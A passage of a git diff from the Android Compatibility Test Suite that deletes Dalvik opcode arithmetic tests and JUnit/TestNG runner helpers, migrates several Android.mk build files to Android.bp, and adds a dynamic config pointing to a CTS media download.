-     * @title Arguments = Long.MIN_VALUE + Long.MIN_VALUE
-     */
-    public void testB6() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(0l, t.run(Long.MIN_VALUE, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MIN_VALUE + 1
-     */
-    public void testB7() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-9223372036854775807l, t.run(Long.MIN_VALUE, 1l));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + 1
-     */
-    public void testB8() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-9223372036854775808l, t.run(Long.MAX_VALUE, 1l));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_1.java b/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_1.java
deleted file mode 100644
index 777a356..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long_2addr;
-
-public class AddLong2Addr_1 {
-
-    public long run(long a, long b) {
-        return a+b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_6.java b/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_6.java
deleted file mode 100644
index 4c7dd18..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_6.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long_2addr;
-
-public class AddLong2Addr_6 {
-
-    public long run(double a) {
-        return 0;
-    }
-}
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index dfd5655..0c842cf 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -36,6 +36,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 14
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/vr/jni/Android.mk b/tests/vr/jni/Android.mk
index 769b9ef..3b62b8a 100644
--- a/tests/vr/jni/Android.mk
+++ b/tests/vr/jni/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_CFLAGS += -Werror -Wall -Wextra -std=c++11
+LOCAL_CFLAGS += -Werror -Wall -Wextra
 
 LOCAL_SRC_FILES := VrExtensionsJni.cpp
 
diff --git a/tests/vr/src/android/vr/cts/VrFeaturesTest.java b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
index a0c6457..caf1ade 100644
--- a/tests/vr/src/android/vr/cts/VrFeaturesTest.java
+++ b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
@@ -21,8 +21,6 @@
 import android.os.Process;
 import android.test.ActivityInstrumentationTestCase2;
 
-import com.android.compatibility.common.util.CddTest;
-
 public class VrFeaturesTest extends ActivityInstrumentationTestCase2<CtsActivity> {
     private CtsActivity mActivity;
 
@@ -30,7 +28,6 @@
         super(CtsActivity.class);
     }
 
-    @CddTest(requirement="7.9.2/C-1-2")
     public void testLacksDeprecatedVrModeFeature() {
         mActivity = getActivity();
         boolean hasVrMode = mActivity.getPackageManager().hasSystemFeature(
@@ -43,7 +40,6 @@
         }
     }
 
-    @CddTest(requirement="7.9.2/C-1-3")
     public void testSustainedPerformanceModeSupported() {
         mActivity = getActivity();
         PowerManager pm = (PowerManager) mActivity.getSystemService(Context.POWER_SERVICE);
diff --git a/tools/cfassembler/Android.bp b/tools/cfassembler/Android.bp
new file mode 100644
index 0000000..a5431d1
--- /dev/null
+++ b/tools/cfassembler/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_binary_host {
+  name: "cfassembler",
+  srcs: [
+    "src/dxconvext/ClassFileAssembler.java",
+    "src/dxconvext/util/FileUtils.java",
+  ],
+  manifest: "etc/cfassembler_manifest.txt",
+  wrapper: "etc/cfassembler",
+}
diff --git a/tools/cfassembler/Android.mk b/tools/cfassembler/Android.mk
deleted file mode 100644
index df736ed..0000000
--- a/tools/cfassembler/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# cfassembler host module
-#============================================================
-
-include $(CLEAR_VARS)
-
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := cfassembler
-LOCAL_SRC_FILES := etc/cfassembler
-LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/cfassembler$(COMMON_JAVA_PACKAGE_SUFFIX)
-include $(BUILD_PREBUILT)
-
-INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
-
-# cfassembler java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := src/dxconvext/ClassFileAssembler.java src/dxconvext/util/FileUtils.java
-LOCAL_JAR_MANIFEST := etc/cfassembler_manifest.txt
-
-LOCAL_MODULE:= cfassembler
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
diff --git a/tools/cts-api-coverage/Android.bp b/tools/cts-api-coverage/Android.bp
new file mode 100644
index 0000000..ed802ca
--- /dev/null
+++ b/tools/cts-api-coverage/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+java_library_host {
+    name: "api-coverage",
+
+    srcs: [
+        "**/*.java",
+        "proto/**/*.proto",
+    ],
+
+    proto: {
+        type: "full",
+        local_include_dirs: ["proto"],
+    },
+
+    java_resource_dirs: ["res"],
+    manifest: "MANIFEST.mf",
+
+    static_libs: [
+        "compatibility-host-util",
+        "dexlib2",
+        // This tool is not checking any dependencies or metadata, so all of the
+        // dependencies of all of the tests must be on its classpath. This is
+        // super fragile.
+        "tradefed",
+        "hosttestlib",
+        "platformprotos",
+    ],
+}
+
+java_binary_host {
+    name: "cts-api-coverage",
+    wrapper: "etc/cts-api-coverage",
+    static_libs: ["api-coverage"],
+}
+
+java_binary_host {
+    name: "ndk-api-report",
+    wrapper: "etc/ndk-api-report",
+    static_libs: ["api-coverage"],
+}
diff --git a/tools/cts-api-coverage/Android.mk b/tools/cts-api-coverage/Android.mk
deleted file mode 100644
index 8e5e0ee..0000000
--- a/tools/cts-api-coverage/Android.mk
+++ /dev/null
@@ -1,65 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# the cts-api-coverage script
-# ============================================================
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := cts-api-coverage
-LOCAL_SRC_FILES := etc/$(LOCAL_MODULE)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
-
-include $(BUILD_PREBUILT)
-
-# the ndk-api-report script
-# ============================================================
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := ndk-api-report
-LOCAL_SRC_FILES := etc/$(LOCAL_MODULE)
-
-include $(BUILD_PREBUILT)
-
-# cts-api-coverage java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-    $(call all-subdir-java-files) \
-    $(call all-proto-files-under, proto)
-
-LOCAL_PROTOC_OPTIMIZE_TYPE := full
-LOCAL_PROTOC_FLAGS := --proto_path=$(LOCAL_PATH)/proto/
-
-LOCAL_JAVA_RESOURCE_DIRS := res
-LOCAL_JAR_MANIFEST := MANIFEST.mf
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-  compatibility-host-util \
-  dexlib2
-
-LOCAL_MODULE := cts-api-coverage
-
-# This tool is not checking any dependencies or metadata, so all of the
-# dependencies of all of the tests must be on its classpath. This is
-# super fragile.
-LOCAL_STATIC_JAVA_LIBRARIES += \
-  tradefed hosttestlib \
-  platformprotos
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
new file mode 100644
index 0000000..da8e11f
--- /dev/null
+++ b/tools/cts-dynamic-config/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2018 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := cts-dynamic-config
+LOCAL_MODULE_CLASS := FAKE
+LOCAL_IS_HOST_MODULE := true
+
+LOCAL_COMPATIBILITY_SUITE := cts general-tests vts
+
+# my_test_config_file := DynamicConfig.xml
+# TODO (sbasi): Update to use BUILD_HOST_TEST_CONFIG when it's primary install
+# location is the test case directory.
+# include $(BUILD_HOST_TEST_CONFIG)
+
+include $(BUILD_SYSTEM)/base_rules.mk
+
+$(LOCAL_BUILT_MODULE): $(HOST_OUT_TESTCASES)/$(LOCAL_MODULE)/$(LOCAL_MODULE).dynamic
+	@echo "cts-dynamic-config values: $(LOCAL_MODULE)"
+	$(hide) touch $@
diff --git a/tools/cts-dynamic-config/DynamicConfig.xml b/tools/cts-dynamic-config/DynamicConfig.xml
new file mode 100644
index 0000000..5916f42
--- /dev/null
+++ b/tools/cts-dynamic-config/DynamicConfig.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_files_url">
+      <value>https://dl.google.com/dl/android/cts/android-cts-media-1.4.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tools/cts-preconditions/Android.bp b/tools/cts-preconditions/Android.bp
new file mode 100644
index 0000000..47c92f3
--- /dev/null
+++ b/tools/cts-preconditions/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPreconditions",
+
+    static_libs: [
+        "android-support-test",
+        "compatibility-device-preconditions",
+    ],
+
+    libs: ["android.test.base.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+    sdk_version: "26",
+}
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
deleted file mode 100644
index 888eadc..0000000
--- a/tools/cts-preconditions/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-preconditions
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsPreconditions
-
-LOCAL_SDK_VERSION := 26
-
-include $(BUILD_PACKAGE)
diff --git a/tools/cts-reference-app-lib/Android.mk b/tools/cts-reference-app-lib/Android.mk
deleted file mode 100644
index f006bb0..0000000
--- a/tools/cts-reference-app-lib/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-LOCAL_PATH := $(call my-dir)
-
-# the library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := junit
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_MODULE := android.cts.refapp
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tools/cts-reference-app-lib/src/android/cts/refapp/ReferenceAppTestCase.java b/tools/cts-reference-app-lib/src/android/cts/refapp/ReferenceAppTestCase.java
deleted file mode 100644
index 203b690..0000000
--- a/tools/cts-reference-app-lib/src/android/cts/refapp/ReferenceAppTestCase.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.refapp;
-
-import android.app.Activity;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.lang.InterruptedException;
-import java.lang.Thread;
-
-/**
- * Base Class that provides common functionality for all Reference Application Tests.
- */
-public class ReferenceAppTestCase<T extends Activity> extends ActivityInstrumentationTestCase2<T> {
-    /** The time to wait for the test host to finish taking the snapshot. */
-    private static final int SNAPSHOT_TIMEOUT_MS = 1000;
-    /** The default time that the applicaiton has to start in. */
-    private static final int DEFAULT_MAX_STATUP_TIME_MS = 5000;
-
-    private int maxStartupTimeMs;
-
-    /**
-     * Create a ReferenceAppTestCase for the specified activity.
-     *
-     * @param pkg the java package the class is contained in.
-     * @param activityClass the class of the activity to instrument.
-     * @param maxStartupTimeMs the startup time the activity should start in.
-     */
-    public ReferenceAppTestCase(String pkg, Class<T> activityClass, int maxStartupTimeMs) {
-        super(pkg, activityClass);
-        this.maxStartupTimeMs = maxStartupTimeMs;
-    }
-
-    /**
-     * Create a ReferenceAppTestCase for the specified activity.
-     *
-     * @param pkg the java package the class is contained in.
-     * @param activityClass the class of the activity to instrument.
-     */
-    public ReferenceAppTestCase(String pkg, Class<T> activityClass) {
-       this(pkg, activityClass, DEFAULT_MAX_STATUP_TIME_MS);
-    }
-
-    public void testActivityStartupTime() {
-        // Test activity startup time.
-
-        long start = System.currentTimeMillis();
-        Activity activity = getActivity();
-        long end = System.currentTimeMillis();
-
-        long startupTime = end - start;
-        assertTrue("Activity Startup took more than " + maxStartupTimeMs +
-                   " ms",
-                   startupTime <= maxStartupTimeMs);
-    }
-
-    /**
-     * Allows tests to record screen snapshots for inclusion in the
-     * CTS test report.
-     *
-     * @param name the name to save the snapshot under
-     */
-    public void takeSnapshot(String name) {
-        // request a snapshot from the CTS host
-        Log.d("ReferenceAppTestCase", "takeSnapshot:" + name);
-        // Give the host enough time to take the picture
-        try {
-            Thread.sleep(SNAPSHOT_TIMEOUT_MS);
-        } catch (InterruptedException e) {
-            // ok
-        }
-    }
-}
diff --git a/tools/dasm/Android.bp b/tools/dasm/Android.bp
new file mode 100644
index 0000000..c9bddd1
--- /dev/null
+++ b/tools/dasm/Android.bp
@@ -0,0 +1,25 @@
+//
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_binary_host {
+  name: "dasm",
+  srcs: [ "src/**/*.java" ],
+  static_libs: [
+    "dx",
+  ],
+  manifest: "etc/manifest.txt",
+  wrapper: "etc/dasm",
+}
diff --git a/tools/dasm/Android.mk b/tools/dasm/Android.mk
deleted file mode 100644
index 1b1f328..0000000
--- a/tools/dasm/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-# dasm (dalvik assembler) java library
-# ============================================================
-
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := dasm
-LOCAL_SRC_FILES := etc/dasm
-LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/dasm$(COMMON_JAVA_PACKAGE_SUFFIX)
-include $(BUILD_PREBUILT)
-
-INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
-
-include $(LOCAL_PATH)/src/Android.mk
diff --git a/tools/dasm/src/Android.mk b/tools/dasm/src/Android.mk
deleted file mode 100644
index df6108a..0000000
--- a/tools/dasm/src/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-#
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-
-# dasm (dalvik assembler) java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_JAR_MANIFEST := ../etc/manifest.txt
-LOCAL_JAVA_LIBRARIES := dx
-
-LOCAL_MODULE:= dasm
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
-
diff --git a/tools/junit/Android.mk b/tools/junit/Android.mk
deleted file mode 100644
index 0b56d0e..0000000
--- a/tools/junit/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES :=  $(call all-java-files-under, src)
-LOCAL_MODULE := cts-junit
-LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := junit
-LOCAL_DEX_PREOPT := false
-LOCAL_SDK_VERSION := current
-include $(BUILD_JAVA_LIBRARY)
diff --git a/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunListener.java b/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunListener.java
deleted file mode 100644
index 06e9bc46..0000000
--- a/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunListener.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.junit;
-
-import org.junit.runner.Description;
-import org.junit.runner.Result;
-import org.junit.runner.notification.Failure;
-import org.junit.runner.notification.RunListener;
-
-public class SingleJUnitTestRunListener extends RunListener {
-    private static class Prefixes {
-        @SuppressWarnings("unused")
-        private static final String INFORMATIONAL_MARKER = "[----------]";
-        private static final String START_TEST_RUN_MARKER = "[==========] Running";
-        private static final String TEST_RUN_MARKER = "[==========]";
-        private static final String START_TEST_MARKER = "[ RUN      ]";
-        private static final String OK_TEST_MARKER = "[       OK ]";
-        private static final String FAILED_TEST_MARKER = "[  FAILED  ]";
-    }
-
-    @Override
-    public void testRunStarted(Description description) throws Exception {
-    }
-
-    @Override
-    public void testRunFinished(Result result) throws Exception {
-        String status = result.wasSuccessful() ? Prefixes.OK_TEST_MARKER
-                : Prefixes.FAILED_TEST_MARKER;
-        System.out.println(status);
-    }
-
-    @Override
-    public void testStarted(Description description) throws Exception {
-        System.out.println(String.format("%s %s.%s", Prefixes.START_TEST_MARKER,
-                description.getClassName(), description.getMethodName()));
-    }
-
-    @Override
-    public void testFinished(Description description) throws Exception {
-    }
-
-    @Override
-    public void testFailure(Failure failure) throws Exception {
-    }
-
-    @Override
-    public void testAssumptionFailure(Failure failure) {
-    }
-
-    @Override
-    public void testIgnored(Description description) throws Exception {
-    }
-}
diff --git a/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunner.java b/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunner.java
deleted file mode 100644
index 2eb9f3a..0000000
--- a/tools/junit/src/com/android/cts/junit/SingleJUnitTestRunner.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.junit;
-
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.Result;
-
-/**
- * Test runner to run a single JUnit test. It will output either [PASSED] or [FAILED] at the end.
- */
-public class SingleJUnitTestRunner {
-    private static String mUsage = "Usage: java -cp <classpath> SingleJUnitTestRunner" +
-            " class#testmethod";
-    private static final String PASSED_TEST_MARKER = "[ PASSED ]";
-    private static final String FAILED_TEST_MARKER = "[ FAILED ]";
-
-    public static void main(String... args) throws ClassNotFoundException {
-        if (args.length != 1) {
-            throw new IllegalArgumentException(mUsage);
-        }
-        String[] classAndMethod = args[0].split("#");
-        if (classAndMethod.length != 2) {
-            throw new IllegalArgumentException(mUsage);
-        }
-        Request request = Request.method(Class.forName(classAndMethod[0]),
-                classAndMethod[1]);
-        JUnitCore jUnitCore = new JUnitCore();
-        Result result = jUnitCore.run(request);
-        String status = result.wasSuccessful() ? PASSED_TEST_MARKER : FAILED_TEST_MARKER;
-        System.out.println(String.format("%s %s.%s", status,
-                classAndMethod[0], classAndMethod[1]));
-    }
-}
diff --git a/tools/testng/Android.mk b/tools/testng/Android.mk
deleted file mode 100644
index af1593d..0000000
--- a/tools/testng/Android.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES :=  $(call all-java-files-under, src)
-LOCAL_MODULE := cts-testng
-LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := testng
-LOCAL_DEX_PREOPT := false
-include $(BUILD_JAVA_LIBRARY)
diff --git a/tools/testng/gen-test-list-xml.py b/tools/testng/gen-test-list-xml.py
deleted file mode 100755
index 961410d..0000000
--- a/tools/testng/gen-test-list-xml.py
+++ /dev/null
@@ -1,248 +0,0 @@
-#!/usr/bin/python2.7
-
-# Copyright (C) 2016 The Android Open Source Project
-#
